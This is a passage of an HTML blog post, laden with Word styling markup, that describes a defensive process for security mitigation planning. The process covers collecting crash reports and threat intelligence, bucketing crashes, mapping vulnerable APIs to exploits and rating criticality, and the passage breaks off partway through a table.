text-indent:-.25in;} @list l1:level3 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:1.75in; text-indent:-9.0pt;} @list l1:level4 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:2.25in; text-indent:-.25in;} @list l1:level5 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:2.75in; text-indent:-.25in;} @list l1:level6 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:3.25in; text-indent:-9.0pt;} @list l1:level7 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:3.75in; text-indent:-.25in;} @list l1:level8 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:4.25in; text-indent:-.25in;} @list l1:level9 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:4.75in; text-indent:-9.0pt;} @list l2 {mso-list-id:1537961726; mso-list-type:hybrid; mso-list-template-ids:1308516936 -226595616 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l2:level1 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:1.25in; text-indent:-.25in;} @list l2:level2 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:1.75in; text-indent:-.25in;} @list l2:level3 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:2.25in; text-indent:-9.0pt;} @list l2:level4 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:2.75in; text-indent:-.25in;} @list l2:level5 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:3.25in; text-indent:-.25in;} @list l2:level6 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:3.75in; text-indent:-9.0pt;} @list l2:level7 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:4.25in; text-indent:-.25in;} @list l2:level8 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:4.75in; text-indent:-.25in;} @list l2:level9 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:5.25in; text-indent:-9.0pt;} @list l3 {mso-list-id:2019193916; mso-list-type:hybrid; mso-list-template-ids:432724090 67698703 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l3:level1 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:1.25in; text-indent:-.25in;} @list l3:level2 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:1.75in; text-indent:-.25in;} @list l3:level3 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:2.25in; text-indent:-9.0pt;} @list l3:level4 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:2.75in; text-indent:-.25in;} @list l3:level5 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:3.25in; text-indent:-.25in;} @list l3:level6 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:3.75in; text-indent:-9.0pt;} @list l3:level7 {mso-level-tab-stop:none; mso-level-number-position:left; margin-left:4.25in; text-indent:-.25in;} @list l3:level8 {mso-level-number-format:alpha-lower; mso-level-tab-stop:none; mso-level-number-position:left; margin-left:4.75in; text-indent:-.25in;} @list l3:level9 {mso-level-number-format:roman-lower; mso-level-tab-stop:none; mso-level-number-position:right; margin-left:5.25in; text-indent:-9.0pt;} ol {margin-bottom:0in;} ul {margin-bottom:0in;} --> </style> <!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
text-indent:.5in;
line-height:200%;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Times New Roman";
mso-ascii-font-family:"Times New Roman";
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:"Times New Roman";
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:JA;}
table.MsoTableGrid
{mso-style-name:"Table Grid";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-priority:39;
mso-style-unhide:no;
border:solid windowtext 1.0pt;
mso-border-alt:solid windowtext .5pt;
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-border-insideh:.5pt solid windowtext;
mso-border-insidev:.5pt solid windowtext;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
text-indent:.5in;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Times New Roman";
mso-ascii-font-family:"Times New Roman";
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:"Times New Roman";
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:JA;}
</style>
<![endif]--> <!--StartFragment--> <b><span style="font-family: "times new roman"; font-size: 12.0pt; line-height: 200%;"><br clear="all" style="mso-special-character: line-break; page-break-before: always;" />
</span></b>
<br />
<h2 align="center" style="text-align: center;">
<o:p> </o:p></h2>
<h2 align="center" style="text-align: center;">
<a href="https://www.blogger.com/null" name="_Toc468283488">Security Mitigation Planning, Implementation and Progress Monitoring:</a><o:p></o:p></h2>
<div class="MsoNoSpacing" style="line-height: 150%;">
<span style="font-size: 11.0pt; line-height: 150%;">Security mitigation planning, implementation, and monitoring has been represented below in fig.i is a manifestation of <i>Data-Driven Software Defense Process </i>as a flow diagram.<o:p></o:p></span></div>
<div class="MsoNoSpacing" style="line-height: 150%;">
<span style="font-size: 11.0pt; line-height: 150%;"><br /></span></div>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf0OXJTiY87gw_beiWBsb7GG5rJLZxG1Durg2lTzrLTTFU8KQAethXKZON2I-KuvI7yLAqPy08FrZQv97pG_Cf6LQpWa2nyQRh8WFV1U0Uizy4fI2-hMZ-Ux-XspnZvWckYcVN2_jSyA8/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf0OXJTiY87gw_beiWBsb7GG5rJLZxG1Durg2lTzrLTTFU8KQAethXKZON2I-KuvI7yLAqPy08FrZQv97pG_Cf6LQpWa2nyQRh8WFV1U0Uizy4fI2-hMZ-Ux-XspnZvWckYcVN2_jSyA8/s320/2.png" width="320" /></a><br />
<div>
<br />
<div class="MsoListParagraph" style="margin-left: .75in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-indent: -.25in;">
<a href="https://www.blogger.com/null" name="_Toc468283489"><!--[if !supportLists]--><span class="Heading3Char"><i>a.<span style="font-size: 7pt; font-stretch: normal; font-style: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal;"> </span></i></span><!--[endif]--><span class="Heading3Char"><i>Exploit Identification:</i></span></a><span class="Heading3Char"><i><o:p></o:p></i></span></div>
<div class="MsoNormal" style="line-height: 150%;">
<span class="Heading3Char"> </span><span style="font-size: 11.0pt; line-height: 150%;">Exploit Identification is extremely important, involves collecting:<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpFirst" style="line-height: 150%; margin-left: 1.25in; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">1.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Crashes reported collected by Platforms using:<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-left: 1.75in; mso-add-space: auto; mso-list: l0 level2 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">a.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-weight: bold;">Microsoft WER (Windows Error Reporting)<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-left: 1.75in; mso-add-space: auto; mso-list: l0 level2 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">b.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-weight: bold;">Apple BugReport<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-left: 1.75in; mso-add-space: auto; mso-list: l0 level2 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">c.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-weight: bold;">Mozilla Crash-Stats<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-left: 1.75in; mso-add-space: auto; mso-list: l0 level2 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">d.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-weight: bold;">Google Error Reporting<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 1.25in; mso-add-space: auto; mso-list: l0 level1 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">2.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Threat Intelligence Report from Security Partners<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-left: 1.75in; mso-add-space: auto; mso-list: l0 level2 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">a.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-weight: bold;">Responsibly disclosed security incidences/researches<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-left: 1.75in; mso-add-space: auto; mso-list: l0 level2 lfo2; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">b.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 115%; mso-bidi-font-weight: bold;">Zero day exploits<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpLast" style="line-height: 150%; margin-left: 1.75in; mso-add-space: auto; mso-list: l0 level2 lfo2; text-indent: -.25in;">
<!--[if !supportLists]-->c.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span><!--[endif]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Open Source/Social Media</span><o:p></o:p></div>
<div class="MsoNormal" style="line-height: 150%;">
<br /></div>
<div class="MsoNormal" style="line-height: 150%;">
<br /></div>
<div class="MsoListParagraph" style="margin-left: .75in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><b>b.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal;"> </span></b><!--[endif]--><span class="Heading4Char">Exploit Impact:</span><b><o:p></o:p></b></div>
<div class="MsoNormal" style="line-height: 150%; margin-left: .75in; text-indent: 0in;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Exploit Impact is the crucial Step where we perform the following activities:<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpFirst" style="line-height: 150%; margin-left: 1.25in; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">1.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Bucketizing similar crashes to form a list of unique crash stacks and number of crashes observed in the live application state to remove duplicity.<br />
<i>crash_data_table</i>:<o:p></o:p></span></div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; margin-left: 101.3pt; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 1184;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 67.5pt;" valign="top" width="68"><div align="center" class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto; text-align: center;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">bucket_id<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 76.15pt;" valign="top" width="76"><div align="center" class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto; text-align: center;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">crash_stack<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 78.15pt;" valign="top" width="78"><div align="center" class="MsoListParagraphCxSpLast" style="line-height: 150%; margin-left: 0in; mso-add-space: auto; text-align: center;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">crash_count<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<br /></div>
<div class="MsoListParagraphCxSpFirst" style="line-height: 150%; margin-left: 1.25in; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">2.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Collating responsibly disclosed security incidences/researches and Zero day exploits to assign vulnerability type, criticality.<br />
<i>exploit_data_table:</i><o:p></o:p></span></div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; margin-left: 101.3pt; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 1184;">
<tbody>
<tr style="height: 19.75pt; mso-yfti-firstrow: yes; mso-yfti-irow: 0; mso-yfti-lastrow: yes;">
<td style="border: solid windowtext 1.0pt; height: 19.75pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 68.8pt;" valign="top" width="69"><div align="center" class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto; text-align: center;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">exploit_id<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; height: 19.75pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 108.15pt;" valign="top" width="108"><div align="center" class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto; text-align: center;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">vulnerability_type<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; height: 19.75pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 74.1pt;" valign="top" width="74"><div align="center" class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto; text-align: center;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">stack_trace<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; height: 19.75pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 66.15pt;" valign="top" width="66"><div align="center" class="MsoListParagraphCxSpLast" style="line-height: 150%; margin-left: 0in; mso-add-space: auto; text-align: center;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">criticality<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<br /></div>
<div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Now that we have the raw-data collated for real-time crashes observed on the application and historical data on responsibly disclosed security incidences we can now work on making sense out of this data. The next steps can be:<o:p></o:p></span></div>
<div class="MsoListParagraphCxSpFirst" style="line-height: 150%; margin-left: 1.25in; mso-add-space: auto; mso-list: l3 level1 lfo4; text-indent: -.25in;">
<!--[if !supportLists]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-family: "Times New Roman"; mso-bidi-font-weight: bold; mso-bidi-theme-font: minor-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: minor-latin;">1.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; line-height: normal;"> </span></span><!--[endif]--><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">After manual evaluation and filtering, list of all vulnerable APIs reported can be collated into one table with exploit_id associated and bucket_id(s) to define susceptibility of an API. <i>Crashing_api_table:</i><o:p></o:p></span></div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; margin-left: 95.65pt; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 1184;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 50.15pt;" valign="top" width="50"><div class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">api_id<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 66.8pt;" valign="top" width="67"><div class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">api_name<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 68.8pt;" valign="top" width="69"><div class="MsoListParagraphCxSpLast" style="line-height: 150%; margin-left: 0in; mso-add-space: auto;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">exploit_ids<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 72.15pt;" valign="top" width="72"><div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">bucket_ids<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-left: 1.25in; mso-add-space: auto;">
<span style="font-size: 11.0pt; mso-bidi-font-weight: bold;">Possible Scenarios can be summarized into these three primary cases in Figures i,ii,iii:<o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGma8yDEcIdF0sp4RzB3b4fc2fOghL2XWiDZDVXrFccGD0ExL66fcjjDDbr3rXjPczztsR9xkCHeiKrKQUKagyea8DuMIcbHn7sQ_bWb9017UBYM5eg0Ov5dJ5CPOwQyrnMUd1kIDAu1o/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="175" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGma8yDEcIdF0sp4RzB3b4fc2fOghL2XWiDZDVXrFccGD0ExL66fcjjDDbr3rXjPczztsR9xkCHeiKrKQUKagyea8DuMIcbHn7sQ_bWb9017UBYM5eg0Ov5dJ5CPOwQyrnMUd1kIDAu1o/s320/3.png" width="320" /></a></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-left: 1.25in; mso-add-space: auto;">
<span style="font-size: 11.0pt; mso-bidi-font-weight: bold;"><br /></span> <o:p></o:p></div>
<div class="MsoListParagraphCxSpLast" style="line-height: normal; margin-left: 1.25in; mso-add-space: auto;">
<span style="font-size: 10.0pt; mso-bidi-font-weight: bold;">fig(i): describes point of intersection between bucket crash stack and exploit crash stack trace</span><o:p></o:p></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0i3-aW_ffJZYjCYWs1Bq2mQgOl9k7DymHgWj8Rnp6O6GJlGZZom28ouu3Me4Pt6I63DGlnsdbpxJPf7VQMhoDDM0N8GI8zl11xBjvcDlPvpUWiwcv2JjVfXwmYuqyecD2xVjiQtWuiN8/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0i3-aW_ffJZYjCYWs1Bq2mQgOl9k7DymHgWj8Rnp6O6GJlGZZom28ouu3Me4Pt6I63DGlnsdbpxJPf7VQMhoDDM0N8GI8zl11xBjvcDlPvpUWiwcv2JjVfXwmYuqyecD2xVjiQtWuiN8/s320/4.png" width="320" /></a></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-left: 1.0in; text-align: center; text-indent: 0in;">
<br /></div>
<div class="MsoListParagraphCxSpFirst" style="line-height: normal; margin-left: 1.25in; mso-add-space: auto;">
<span style="font-size: 10.0pt; mso-bidi-font-weight: bold;">Figure(ii): describes point of deviation between bucket crash stack and exploit crash stack trace <o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-left: 1.25in; mso-add-space: auto;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_SYXxoxtOs7AtBqHFqWdqdhODkgZmqw02FBiYqqFWFcvIoVn-h0mzRNFEIIjFAH82D6O4pktP5CdBvyOqQYAUfivSTNYtktwl3YhWNJKAO4KL3xI3Ug1AGkpWK_bTCp7XP29L2S_mqrA/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_SYXxoxtOs7AtBqHFqWdqdhODkgZmqw02FBiYqqFWFcvIoVn-h0mzRNFEIIjFAH82D6O4pktP5CdBvyOqQYAUfivSTNYtktwl3YhWNJKAO4KL3xI3Ug1AGkpWK_bTCp7XP29L2S_mqrA/s320/5.png" width="320" /></a></div>
<br />
<br />
<div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-left: 1.25in; mso-add-space: auto;">
<span style="font-size: 10.0pt; mso-bidi-font-weight: bold;">Figure(iiI): describes point of conjunction between bucket crash stack and exploit crash stack trace <o:p></o:p></span></div>
<div class="MsoListParagraphCxSpMiddle" style="line-height: normal; margin-left: 1.25in; mso-add-space: auto;">
<br /></div>
<div class="MsoListParagraphCxSpLast" style="margin-left: .75in; mso-add-space: auto; mso-list: l1 level1 lfo1; text-indent: -.25in;">
<!--[if !supportLists]--><span class="Heading4Char"><span style="font-style: normal; mso-bidi-font-family: "Times New Roman"; mso-bidi-theme-font: major-latin; mso-fareast-font-family: "Times New Roman"; mso-fareast-theme-font: major-latin;">c.<span style="font-size: 7pt; font-stretch: normal; font-variant-numeric: normal; font-weight: normal; line-height: normal;"> </span></span></span><!--[endif]--><span class="Heading4Char">Exploit Criticality:</span><span class="Heading4Char"><span style="font-style: normal;"><o:p></o:p></span></span></div>
<div class="MsoNormal" style="line-height: 150%; margin-left: .5in; text-indent: 0in;">
Criticality for every security incidence reported depends on the type of vulnerability and area impacted by it, unless it’s not a Zero day which needs to get fixed and shipped immediately, and now that we have the health status of every crashing API for every mitigation the decisions become easier with<br />
<i><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">Crashing_api_table:</span></i><span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;"><o:p></o:p></span></div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; margin-left: 95.65pt; mso-border-alt: solid windowtext .5pt; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 1184;">
<tbody>
<tr style="height: 17.95pt; mso-yfti-firstrow: yes; mso-yfti-irow: 0; mso-yfti-lastrow: yes;">
<td style="border: solid windowtext 1.0pt; height: 17.95pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 50.15pt;" valign="top" width="50"><div class="MsoListParagraphCxSpFirst" style="line-height: 150%; margin-left: 0in; mso-add-space: auto;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">api_id<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; height: 17.95pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 66.8pt;" valign="top" width="67"><div class="MsoListParagraphCxSpMiddle" style="line-height: 150%; margin-left: 0in; mso-add-space: auto;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">api_name<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; height: 17.95pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 68.8pt;" valign="top" width="69"><div class="MsoListParagraphCxSpLast" style="line-height: 150%; margin-left: 0in; mso-add-space: auto;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">exploit_ids<o:p></o:p></span></div>
</td>
<td style="border-left: none; border: solid windowtext 1.0pt; height: 17.95pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 72.15pt;" valign="top" width="72"><div class="MsoNormal" style="line-height: 150%; text-indent: 0in;">
<span style="font-size: 11.0pt; line-height: 150%; mso-bidi-font-weight: bold;">bucket_ids<o:p></o:p></span></div>
</td>
